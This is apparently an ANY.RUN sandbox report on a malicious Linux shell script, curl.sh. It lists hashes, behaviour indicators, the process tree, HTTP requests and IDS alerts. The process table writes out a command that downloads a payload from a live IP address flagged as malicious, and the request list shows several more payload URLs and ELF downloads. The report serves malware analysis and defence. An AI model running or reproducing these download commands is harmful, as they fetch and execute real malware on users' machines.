File name:

curl.sh

Full analysis: https://app.any.run/tasks/e5cc4279-de51-4b64-8204-44067a5a2e8e
Verdict: Malicious activity
Analysis date: January 11, 2025, 00:24:48
OS: Ubuntu 22.04.2 LTS
MIME: text/x-shellscript
File info: Bourne-Again shell script, ASCII text executable
MD5:

D8D6BE287E3428BC6EB16A3E05E8AB47

SHA1:

C6BBA87F1258183E8E70B2AC18DEE260C48EB04D

SHA256:

72F5F8EC4A91B6D69C3E3BE588664ABA1C2C511ECDFD8430DC0EDF9D1AF00353

SSDEEP:

24:6TeY1iZ0dxJCcJueJ8DFxWWNx90/9cluXBSiG7VTy:seb07nJtiFcfOKBV4Vm

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    No malicious indicators.

  • SUSPICIOUS

    • Reads /proc/mounts (likely used to find writable filesystems)

      • curl (PID: 38875)
      • curl (PID: 38991)
      • curl (PID: 39078)

    • Potential Corporate Privacy Violation

      • curl (PID: 38755)
      • curl (PID: 38991)
      • curl (PID: 38875)
      • curl (PID: 39107)
      • curl (PID: 39078)

    • Connects to the server without a host name

      • curl (PID: 38755)
      • curl (PID: 38875)
      • curl (PID: 38991)
      • curl (PID: 39107)
      • curl (PID: 39078)

    • Modifies file or directory owner

      • sudo (PID: 38749)

    • Executes commands using command-line interpreter

      • sudo (PID: 38752)

    • Executes the "rm" command to delete files or directories

      • bash (PID: 38753)

  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.sh | Linux/UNIX shell script (100)
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
317
Monitored processes
107
Malicious processes
7
Suspicious processes
1

Behavior graph

Click at the process to see the details
start dash no specs sudo no specs chown no specs chmod no specs sudo no specs bash no specs locale-check no specs curl snap-seccomp no specs snap-confine no specs dumpe2fs no specs snap-update-ns no specs dumpe2fs no specs chmod no specs bash no specs rm no specs snap no specs snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs snap no specs snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs snap no specs snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs snap no specs snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs snap no specs snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs snap no specs snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs snap no specs snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs snap no specs snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs snap no specs snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs

Process information

PID
CMD
Path
Indicators
Parent process
38748/bin/sh -c "sudo chown user /home/user/Desktop/curl\.sh && chmod +x /home/user/Desktop/curl\.sh && DISPLAY=:0 sudo -iu user /home/user/Desktop/curl\.sh "/usr/bin/dash—any-guest-agent
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38749sudo chown user /home/user/Desktop/curl.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
38750chown user /home/user/Desktop/curl.sh/usr/bin/chown—sudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
38751chmod +x /home/user/Desktop/curl.sh/usr/bin/chmod—dash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38752sudo -iu user /home/user/Desktop/curl.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
38753/bin/bash /home/user/Desktop/curl.sh/usr/bin/bash—sudo
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38754/usr/bin/locale-check C.UTF-8/usr/bin/locale-check—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38755/snap/curl/1754/bin/curl -o ss http://176.119.150.11/ss/snap/curl/1754/bin/curl
bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38766/snap/snapd/20290/usr/lib/snapd/snap-seccomp version-info/snap/snapd/20290/usr/lib/snapd/snap-seccomp—curl
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38775/snap/snapd/20290/usr/lib/snapd/snap-confine --base core20 snap.curl.curl /usr/lib/snapd/snap-exec curl -o ss http://176.119.150.11/ss/snap/snapd/20290/usr/lib/snapd/snap-confine—curl
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Executable files
0
Suspicious files
0
Text files
0
Unknown types
0

Dropped files

No data
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
17
TCP/UDP connections
18
DNS requests
9
Threats
28

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
—
185.125.190.98:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
38875
curl
GET
200
176.119.150.11:80
http://176.119.150.11/sse
unknown
—
—
malicious
38991
curl
GET
200
176.119.150.11:80
http://176.119.150.11/ssl
unknown
—
—
malicious
—
—
GET
200
176.119.150.11:80
http://176.119.150.11/ssb
unknown
—
—
malicious
—
—
GET
200
176.119.150.11:80
http://176.119.150.11/ssc
unknown
—
—
malicious
38755
curl
GET
200
176.119.150.11:80
http://176.119.150.11/ss
unknown
—
—
malicious
—
—
GET
200
176.119.150.11:80
http://176.119.150.11/ssh
unknown
—
—
malicious
—
—
GET
200
176.119.150.11:80
http://176.119.150.11/ssg
unknown
—
—
malicious
—
—
GET
200
176.119.150.11:80
http://176.119.150.11/ssd
unknown
—
—
malicious
—
—
GET
200
176.119.150.11:80
http://176.119.150.11/ssi
unknown
—
—
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
185.125.190.98:80
connectivity-check.ubuntu.com
Canonical Group Limited
GB
whitelisted
484
avahi-daemon
224.0.0.251:5353
—
—
—
unknown
38755
curl
176.119.150.11:80
—
Owl Limited
JP
malicious
—
—
176.119.150.11:80
—
Owl Limited
JP
malicious
38875
curl
176.119.150.11:80
—
Owl Limited
JP
malicious
38991
curl
176.119.150.11:80
—
Owl Limited
JP
malicious
39078
curl
176.119.150.11:80
—
Owl Limited
JP
malicious
39107
curl
176.119.150.11:80
—
Owl Limited
JP
malicious

DNS requests

Domain
IP
Reputation
connectivity-check.ubuntu.com
  • 185.125.190.98
  • 91.189.91.48
  • 185.125.190.96
  • 185.125.190.18
  • 185.125.190.49
  • 185.125.190.48
  • 91.189.91.49
  • 91.189.91.97
  • 185.125.190.17
  • 91.189.91.98
  • 91.189.91.96
  • 185.125.190.97
  • 2001:67c:1562::23
  • 2620:2d:4000:1::96
  • 2620:2d:4000:1::2a
  • 2001:67c:1562::24
  • 2620:2d:4002:1::198
  • 2620:2d:4000:1::23
  • 2620:2d:4000:1::2b
  • 2620:2d:4002:1::197
  • 2620:2d:4000:1::97
  • 2620:2d:4000:1::22
  • 2620:2d:4000:1::98
  • 2620:2d:4002:1::196
whitelisted
google.com
  • 142.250.185.110
  • 2a00:1450:4001:831::200e
whitelisted
57.100.168.192.in-addr.arpa
  • —
unknown

Threats

PID
Process
Class
Message
—
—
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
—
—
Potential Corporate Privacy Violation
ET POLICY Executable and linking format (ELF) file download Over HTTP
—
—
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
—
—
Potential Corporate Privacy Violation
ET POLICY Executable and linking format (ELF) file download Over HTTP
—
—
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
—
—
Potential Corporate Privacy Violation
ET POLICY Executable and linking format (ELF) file download Over HTTP
—
—
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
—
—
Potential Corporate Privacy Violation
ET POLICY Executable and linking format (ELF) file download Over HTTP
—
—
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
—
—
Potential Corporate Privacy Violation
ET POLICY Executable and linking format (ELF) file download Over HTTP
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
curl.sh